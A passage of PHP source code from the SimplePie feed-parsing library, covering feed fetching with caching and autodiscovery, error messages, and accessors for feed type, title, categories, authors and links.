{ $this->error = "A feed could not be found at `$this->feed_url`. This does not appear to be a valid RSS or Atom feed."; $this->registry->call('Misc', 'error', array($this->error, E_USER_NOTICE, __FILE__, __LINE__)); return false; } if (isset($headers)) { $this->data['headers'] = $headers; } $this->data['build'] = SIMPLEPIE_BUILD; // Cache the file if caching is enabled if ($cache && !$cache->save($this)) { trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING); } return true; } } } if (isset($parser)) { // We have an error, just set SimplePie_Misc::error to it and quit $this->error = $this->feed_url; $this->error .= sprintf(' is invalid XML, likely due to invalid characters. XML error: %s at line %d, column %d', $parser->get_error_string(), $parser->get_current_line(), $parser->get_current_column()); } else { $this->error = 'The data could not be converted to UTF-8.'; if (!extension_loaded('mbstring') && !extension_loaded('iconv') && !class_exists('\UConverter')) { $this->error .= ' You MUST have either the iconv, mbstring or intl (PHP 5.5+) extension installed and enabled.'; } else { $missingExtensions = array(); if (!extension_loaded('iconv')) { $missingExtensions[] = 'iconv'; } if (!extension_loaded('mbstring')) { $missingExtensions[] = 'mbstring'; } if (!class_exists('\UConverter')) { $missingExtensions[] = 'intl (PHP 5.5+)'; } $this->error .= ' Try installing/enabling the ' . implode(' or ', $missingExtensions) . ' extension.'; } } $this->registry->call('Misc', 'error', array($this->error, E_USER_NOTICE, __FILE__, __LINE__)); return false; } /** * Fetch the data via SimplePie_File * * If the data is already cached, attempt to fetch it from there instead * @param SimplePie_Cache|false $cache Cache handler, or false to not load from the cache * @return array|true Returns true if the data was loaded from the cache, or an array of HTTP headers and sniffed type */ protected function fetch_data(&$cache) { // If it's enabled, use the cache if ($cache) { // Load the Cache $this->data = $cache->load(); if (!empty($this->data)) { // If the cache is for an outdated build of SimplePie if (!isset($this->data['build']) || $this->data['build'] !== SIMPLEPIE_BUILD) { $cache->unlink(); $this->data = array(); } // If we've hit a collision just rerun it with caching disabled elseif (isset($this->data['url']) && $this->data['url'] !== $this->feed_url) { $cache = false; $this->data = array(); } // If we've got a non feed_url stored (if the page isn't actually a feed, or is a redirect) use that URL. elseif (isset($this->data['feed_url'])) { // If the autodiscovery cache is still valid use it. if ($cache->mtime() + $this->autodiscovery_cache_duration > time()) { // Do not need to do feed autodiscovery yet. if ($this->data['feed_url'] !== $this->data['url']) { $this->set_feed_url($this->data['feed_url']); return $this->init(); } $cache->unlink(); $this->data = array(); } } // Check if the cache has been updated elseif ($cache->mtime() + $this->cache_duration < time()) { // Want to know if we tried to send last-modified and/or etag headers // when requesting this file. (Note that it's up to the file to // support this, but we don't always send the headers either.) $this->check_modified = true; if (isset($this->data['headers']['last-modified']) || isset($this->data['headers']['etag'])) { $headers = array( 'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1', ); if (isset($this->data['headers']['last-modified'])) { $headers['if-modified-since'] = $this->data['headers']['last-modified']; } if (isset($this->data['headers']['etag'])) { $headers['if-none-match'] = $this->data['headers']['etag']; } $file = $this->registry->create('File', array($this->feed_url, $this->timeout/10, 5, $headers, $this->useragent, $this->force_fsockopen, $this->curl_options)); if ($file->success) { if ($file->status_code === 304) { // Set raw_data to false here too, to signify that the cache // is still valid. $this->raw_data = false; $cache->touch(); return true; } } else { $this->check_modified = false; if($this->force_cache_fallback) { $cache->touch(); return true; } unset($file); } } } // If the cache is still valid, just return true else { $this->raw_data = false; return true; } } // If the cache is empty, delete it else { $cache->unlink(); $this->data = array(); } } // If we don't already have the file (it'll only exist if we've opened it to check if the cache has been modified), open it. if (!isset($file)) { if ($this->file instanceof SimplePie_File && $this->file->url === $this->feed_url) { $file =& $this->file; } else { $headers = array( 'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1', ); $file = $this->registry->create('File', array($this->feed_url, $this->timeout, 5, $headers, $this->useragent, $this->force_fsockopen, $this->curl_options)); } } // If the file connection has an error, set SimplePie::error to that and quit if (!$file->success && !($file->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($file->status_code === 200 || $file->status_code > 206 && $file->status_code < 300))) { $this->error = $file->error; return !empty($this->data); } if (!$this->force_feed) { // Check if the supplied URL is a feed, if it isn't, look for it. $locate = $this->registry->create('Locator', array(&$file, $this->timeout, $this->useragent, $this->max_checked_feeds, $this->force_fsockopen, $this->curl_options)); if (!$locate->is_feed($file)) { $copyStatusCode = $file->status_code; $copyContentType = $file->headers['content-type']; try { $microformats = false; if (class_exists('DOMXpath') && function_exists('Mf2\parse')) { $doc = new DOMDocument(); @$doc->loadHTML($file->body); $xpath = new DOMXpath($doc); // Check for both h-feed and h-entry, as both a feed with no entries // and a list of entries without an h-feed wrapper are both valid. $query = '//*[contains(concat(" ", @class, " "), " h-feed ") or '. 'contains(concat(" ", @class, " "), " h-entry ")]'; $result = $xpath->query($query); $microformats = $result->length !== 0; } // Now also do feed discovery, but if microformats were found don't // overwrite the current value of file. $discovered = $locate->find($this->autodiscovery, $this->all_discovered_feeds); if ($microformats) { if ($hub = $locate->get_rel_link('hub')) { $self = $locate->get_rel_link('self'); $this->store_links($file, $hub, $self); } // Push the current file onto all_discovered feeds so the user can // be shown this as one of the options. if (isset($this->all_discovered_feeds)) { $this->all_discovered_feeds[] = $file; } } else { if ($discovered) { $file = $discovered; } else { // We need to unset this so that if SimplePie::set_file() has // been called that object is untouched unset($file); $this->error = "A feed could not be found at `$this->feed_url`; the status code is `$copyStatusCode` and content-type is `$copyContentType`"; $this->registry->call('Misc', 'error', array($this->error, E_USER_NOTICE, __FILE__, __LINE__)); return false; } } } catch (SimplePie_Exception $e) { // We need to unset this so that if SimplePie::set_file() has been called that object is untouched unset($file); // This is usually because DOMDocument doesn't exist $this->error = $e->getMessage(); $this->registry->call('Misc', 'error', array($this->error, E_USER_NOTICE, $e->getFile(), $e->getLine())); return false; } if ($cache) { $this->data = array('url' => $this->feed_url, 'feed_url' => $file->url, 'build' => SIMPLEPIE_BUILD); if (!$cache->save($this)) { trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING); } $cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location, call_user_func($this->cache_name_function, $file->url), 'spc')); } } $this->feed_url = $file->url; $locate = null; } $this->raw_data = $file->body; $this->permanent_url = $file->permanent_url; $headers = $file->headers; $sniffer = $this->registry->create('Content_Type_Sniffer', array(&$file)); $sniffed = $sniffer->get_type(); return array($headers, $sniffed); } /** * Get the error message for the occured error * * @return string|array Error message, or array of messages for multifeeds */ public function error() { return $this->error; } /** * Get the raw XML * * This is the same as the old `$feed->enable_xml_dump(true)`, but returns * the data instead of printing it. * * @return string|boolean Raw XML data, false if the cache is used */ public function get_raw_data() { return $this->raw_data; } /** * Get the character encoding used for output * * @since Preview Release * @return string */ public function get_encoding() { return $this->sanitize->output_encoding; } /** * Send the content-type header with correct encoding * * This method ensures that the SimplePie-enabled page is being served with * the correct {@link http://www.iana.org/assignments/media-types/ mime-type} * and character encoding HTTP headers (character encoding determined by the * {@see set_output_encoding} config option). * * This won't work properly if any content or whitespace has already been * sent to the browser, because it relies on PHP's * {@link http://php.net/header header()} function, and these are the * circumstances under which the function works. * * Because it's setting these settings for the entire page (as is the nature * of HTTP headers), this should only be used once per page (again, at the * top). * * @param string $mime MIME type to serve the page as */ public function handle_content_type($mime = 'text/html') { if (!headers_sent()) { $header = "Content-type: $mime;"; if ($this->get_encoding()) { $header .= ' charset=' . $this->get_encoding(); } else { $header .= ' charset=UTF-8'; } header($header); } } /** * Get the type of the feed * * This returns a SIMPLEPIE_TYPE_* constant, which can be tested against * using {@link http://php.net/language.operators.bitwise bitwise operators} * * @since 0.8 (usage changed to using constants in 1.0) * @see SIMPLEPIE_TYPE_NONE Unknown. * @see SIMPLEPIE_TYPE_RSS_090 RSS 0.90. * @see SIMPLEPIE_TYPE_RSS_091_NETSCAPE RSS 0.91 (Netscape). * @see SIMPLEPIE_TYPE_RSS_091_USERLAND RSS 0.91 (Userland). * @see SIMPLEPIE_TYPE_RSS_091 RSS 0.91. * @see SIMPLEPIE_TYPE_RSS_092 RSS 0.92. * @see SIMPLEPIE_TYPE_RSS_093 RSS 0.93. * @see SIMPLEPIE_TYPE_RSS_094 RSS 0.94. * @see SIMPLEPIE_TYPE_RSS_10 RSS 1.0. * @see SIMPLEPIE_TYPE_RSS_20 RSS 2.0.x. * @see SIMPLEPIE_TYPE_RSS_RDF RDF-based RSS. * @see SIMPLEPIE_TYPE_RSS_SYNDICATION Non-RDF-based RSS (truly intended as syndication format). * @see SIMPLEPIE_TYPE_RSS_ALL Any version of RSS. * @see SIMPLEPIE_TYPE_ATOM_03 Atom 0.3. * @see SIMPLEPIE_TYPE_ATOM_10 Atom 1.0. * @see SIMPLEPIE_TYPE_ATOM_ALL Any version of Atom. * @see SIMPLEPIE_TYPE_ALL Any known/supported feed type. * @return int SIMPLEPIE_TYPE_* constant */ public function get_type() { if (!isset($this->data['type'])) { $this->data['type'] = SIMPLEPIE_TYPE_ALL; if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'])) { $this->data['type'] &= SIMPLEPIE_TYPE_ATOM_10; } elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'])) { $this->data['type'] &= SIMPLEPIE_TYPE_ATOM_03; } elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'])) { if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['channel']) || isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['image']) || isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['item']) || isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['textinput'])) { $this->data['type'] &= SIMPLEPIE_TYPE_RSS_10; } if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['channel']) || isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['image']) || isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['item']) || isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['textinput'])) { $this->data['type'] &= SIMPLEPIE_TYPE_RSS_090; } } elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'])) { $this->data['type'] &= SIMPLEPIE_TYPE_RSS_ALL; if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['attribs']['']['version'])) { switch (trim($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['attribs']['']['version'])) { case '0.91': $this->data['type'] &= SIMPLEPIE_TYPE_RSS_091; if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['skiphours']['hour'][0]['data'])) { switch (trim($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['skiphours']['hour'][0]['data'])) { case '0': $this->data['type'] &= SIMPLEPIE_TYPE_RSS_091_NETSCAPE; break; case '24': $this->data['type'] &= SIMPLEPIE_TYPE_RSS_091_USERLAND; break; } } break; case '0.92': $this->data['type'] &= SIMPLEPIE_TYPE_RSS_092; break; case '0.93': $this->data['type'] &= SIMPLEPIE_TYPE_RSS_093; break; case '0.94': $this->data['type'] &= SIMPLEPIE_TYPE_RSS_094; break; case '2.0': $this->data['type'] &= SIMPLEPIE_TYPE_RSS_20; break; } } } else { $this->data['type'] = SIMPLEPIE_TYPE_NONE; } } return $this->data['type']; } /** * Get the URL for the feed * * When the 'permanent' mode is enabled, returns the original feed URL, * except in the case of an `HTTP 301 Moved Permanently` status response, * in which case the location of the first redirection is returned. * * When the 'permanent' mode is disabled (default), * may or may not be different from the URL passed to {@see set_feed_url()}, * depending on whether auto-discovery was used, and whether there were * any redirects along the way. * * @since Preview Release (previously called `get_feed_url()` since SimplePie 0.8.) * @todo Support * @todo Also, |atom:link|@rel=self * @param bool $permanent Permanent mode to return only the original URL or the first redirection * iff it is a 301 redirection * @return string|null */ public function subscribe_url($permanent = false) { if ($permanent) { if ($this->permanent_url !== null) { // sanitize encodes ampersands which are required when used in a url. return str_replace('&', '&', $this->sanitize($this->permanent_url, SIMPLEPIE_CONSTRUCT_IRI)); } } else { if ($this->feed_url !== null) { return str_replace('&', '&', $this->sanitize($this->feed_url, SIMPLEPIE_CONSTRUCT_IRI)); } } return null; } /** * Get data for an feed-level element * * This method allows you to get access to ANY element/attribute that is a * sub-element of the opening feed tag. * * The return value is an indexed array of elements matching the given * namespace and tag name. Each element has `attribs`, `data` and `child` * subkeys. For `attribs` and `child`, these contain namespace subkeys. * `attribs` then has one level of associative name => value data (where * `value` is a string) after the namespace. `child` has tag-indexed keys * after the namespace, each member of which is an indexed array matching * this same format. * * For example: *
    	 * // This is probably a bad example because we already support
    	 * //  natively, but it shows you how to parse through
    	 * // the nodes.
    	 * $group = $item->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'group');
    	 * $content = $group[0]['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'];
    	 * $file = $content[0]['attribs']['']['url'];
    	 * echo $file;
    	 * 
    * * @since 1.0 * @see http://simplepie.org/wiki/faq/supported_xml_namespaces * @param string $namespace The URL of the XML namespace of the elements you're trying to access * @param string $tag Tag name * @return array */ public function get_feed_tags($namespace, $tag) { $type = $this->get_type(); if ($type & SIMPLEPIE_TYPE_ATOM_10) { if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag])) { return $this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag]; } } if ($type & SIMPLEPIE_TYPE_ATOM_03) { if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag])) { return $this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag]; } } if ($type & SIMPLEPIE_TYPE_RSS_RDF) { if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag])) { return $this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag]; } } if ($type & SIMPLEPIE_TYPE_RSS_SYNDICATION) { if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][$namespace][$tag])) { return $this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][$namespace][$tag]; } } return null; } /** * Get data for an channel-level element * * This method allows you to get access to ANY element/attribute in the * channel/header section of the feed. * * See {@see SimplePie::get_feed_tags()} for a description of the return value * * @since 1.0 * @see http://simplepie.org/wiki/faq/supported_xml_namespaces * @param string $namespace The URL of the XML namespace of the elements you're trying to access * @param string $tag Tag name * @return array */ public function get_channel_tags($namespace, $tag) { $type = $this->get_type(); if ($type & SIMPLEPIE_TYPE_ATOM_ALL) { if ($return = $this->get_feed_tags($namespace, $tag)) { return $return; } } if ($type & SIMPLEPIE_TYPE_RSS_10) { if ($channel = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'channel')) { if (isset($channel[0]['child'][$namespace][$tag])) { return $channel[0]['child'][$namespace][$tag]; } } } if ($type & SIMPLEPIE_TYPE_RSS_090) { if ($channel = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'channel')) { if (isset($channel[0]['child'][$namespace][$tag])) { return $channel[0]['child'][$namespace][$tag]; } } } if ($type & SIMPLEPIE_TYPE_RSS_SYNDICATION) { if ($channel = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'channel')) { if (isset($channel[0]['child'][$namespace][$tag])) { return $channel[0]['child'][$namespace][$tag]; } } } return null; } /** * Get data for an channel-level element * * This method allows you to get access to ANY element/attribute in the * image/logo section of the feed. * * See {@see SimplePie::get_feed_tags()} for a description of the return value * * @since 1.0 * @see http://simplepie.org/wiki/faq/supported_xml_namespaces * @param string $namespace The URL of the XML namespace of the elements you're trying to access * @param string $tag Tag name * @return array */ public function get_image_tags($namespace, $tag) { $type = $this->get_type(); if ($type & SIMPLEPIE_TYPE_RSS_10) { if ($image = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'image')) { if (isset($image[0]['child'][$namespace][$tag])) { return $image[0]['child'][$namespace][$tag]; } } } if ($type & SIMPLEPIE_TYPE_RSS_090) { if ($image = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'image')) { if (isset($image[0]['child'][$namespace][$tag])) { return $image[0]['child'][$namespace][$tag]; } } } if ($type & SIMPLEPIE_TYPE_RSS_SYNDICATION) { if ($image = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'image')) { if (isset($image[0]['child'][$namespace][$tag])) { return $image[0]['child'][$namespace][$tag]; } } } return null; } /** * Get the base URL value from the feed * * Uses `` if available, otherwise uses the first link in the * feed, or failing that, the URL of the feed itself. * * @see get_link * @see subscribe_url * * @param array $element * @return string */ public function get_base($element = array()) { if (!($this->get_type() & SIMPLEPIE_TYPE_RSS_SYNDICATION) && !empty($element['xml_base_explicit']) && isset($element['xml_base'])) { return $element['xml_base']; } elseif ($this->get_link() !== null) { return $this->get_link(); } return $this->subscribe_url(); } /** * Sanitize feed data * * @access private * @see SimplePie_Sanitize::sanitize() * @param string $data Data to sanitize * @param int $type One of the SIMPLEPIE_CONSTRUCT_* constants * @param string $base Base URL to resolve URLs against * @return string Sanitized data */ public function sanitize($data, $type, $base = '') { try { return $this->sanitize->sanitize($data, $type, $base); } catch (SimplePie_Exception $e) { if (!$this->enable_exceptions) { $this->error = $e->getMessage(); $this->registry->call('Misc', 'error', array($this->error, E_USER_WARNING, $e->getFile(), $e->getLine())); return ''; } throw $e; } } /** * Get the title of the feed * * Uses ``, `` or `<dc:title>` * * @since 1.0 (previously called `get_feed_title` since 0.8) * @return string|null */ public function get_title() { if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } return null; } /** * Get a category for the feed * * @since Unknown * @param int $key The category that you want to return. Remember that arrays begin with 0, not 1 * @return SimplePie_Category|null */ public function get_category($key = 0) { $categories = $this->get_categories(); if (isset($categories[$key])) { return $categories[$key]; } return null; } /** * Get all categories for the feed * * Uses `<atom:category>`, `<category>` or `<dc:subject>` * * @since Unknown * @return array|null List of {@see SimplePie_Category} objects */ public function get_categories() { $categories = array(); foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'category') as $category) { $term = null; $scheme = null; $label = null; if (isset($category['attribs']['']['term'])) { $term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories[] = $this->registry->create('Category', array($term, $scheme, $label)); } foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'category') as $category) { // This is really the label, but keep this as the term also for BC. // Label will also work on retrieving because that falls back to term. $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); if (isset($category['attribs']['']['domain'])) { $scheme = $this->sanitize($category['attribs']['']['domain'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $scheme = null; } $categories[] = $this->registry->create('Category', array($term, $scheme, null)); } foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'subject') as $category) { $categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'subject') as $category) { $categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } if (!empty($categories)) { return array_unique($categories); } return null; } /** * Get an author for the feed * * @since 1.1 * @param int $key The author that you want to return. Remember that arrays begin with 0, not 1 * @return SimplePie_Author|null */ public function get_author($key = 0) { $authors = $this->get_authors(); if (isset($authors[$key])) { return $authors[$key]; } return null; } /** * Get all authors for the feed * * Uses `<atom:author>`, `<author>`, `<dc:creator>` or `<itunes:author>` * * @since 1.1 * @return array|null List of {@see SimplePie_Author} objects */ public function get_authors() { $authors = array(); foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author) { $name = null; $uri = null; $email = null; if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'])) { $name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'])) { $uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0])); } if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'])) { $email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $uri !== null) { $authors[] = $this->registry->create('Author', array($name, $uri, $email)); } } if ($author = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author')) { $name = null; $url = null; $email = null; if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'])) { $name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'])) { $url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0])); } if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'])) { $email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $url !== null) { $authors[] = $this->registry->create('Author', array($name, $url, $email)); } } foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author) { $authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author) { $authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author) { $authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } if (!empty($authors)) { return array_unique($authors); } return null; } /** * Get a contributor for the feed * * @since 1.1 * @param int $key The contrbutor that you want to return. Remember that arrays begin with 0, not 1 * @return SimplePie_Author|null */ public function get_contributor($key = 0) { $contributors = $this->get_contributors(); if (isset($contributors[$key])) { return $contributors[$key]; } return null; } /** * Get all contributors for the feed * * Uses `<atom:contributor>` * * @since 1.1 * @return array|null List of {@see SimplePie_Author} objects */ public function get_contributors() { $contributors = array(); foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor) { $name = null; $uri = null; $email = null; if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'])) { $name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'])) { $uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0])); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'])) { $email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $uri !== null) { $contributors[] = $this->registry->create('Author', array($name, $uri, $email)); } } foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor) { $name = null; $url = null; $email = null; if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'])) { $name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'])) { $url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0])); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'])) { $email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $url !== null) { $contributors[] = $this->registry->create('Author', array($name, $url, $email)); } } if (!empty($contributors)) { return array_unique($contributors); } return null; } /** * Get a single link for the feed * * @since 1.0 (previously called `get_feed_link` since Preview Release, `get_feed_permalink()` since 0.8) * @param int $key The link that you want to return. Remember that arrays begin with 0, not 1 * @param string $rel The relationship of the link to return * @return string|null Link URL */ public function get_link($key = 0, $rel = 'alternate') { $links = $this->get_links($rel); if (isset($links[$key])) { return $links[$key]; } return null; } /** * Get the permalink for the item * * Returns the first link available with a relationship of "alternate". * Identical to {@see get_link()} with key 0 * * @see get_link * @since 1.0 (previously called `get_feed_link` since Preview Release, `get_feed_permalink()` since 0.8) * @internal Added for parity between the parent-level and the item/entry-level. * @return string|null Link URL */ public function get_permalink() { return $this->get_link(0); } /** * Get all links for the feed * * Uses `<atom:link>` or `<link>` * * @since Beta 2 * @param string $rel The relationship of links to return * @return array|null Links found for the feed (strings) */ public function get_links($rel = 'alternate') { if (!isset($this->data['links'])) { $this->data['links'] = array(); if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link')) { foreach ($links as $link) { if (isset($link['attribs']['']['href'])) { $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); } } } if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link')) { foreach ($links as $link) { if (isset($link['attribs']['']['href'])) { $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; 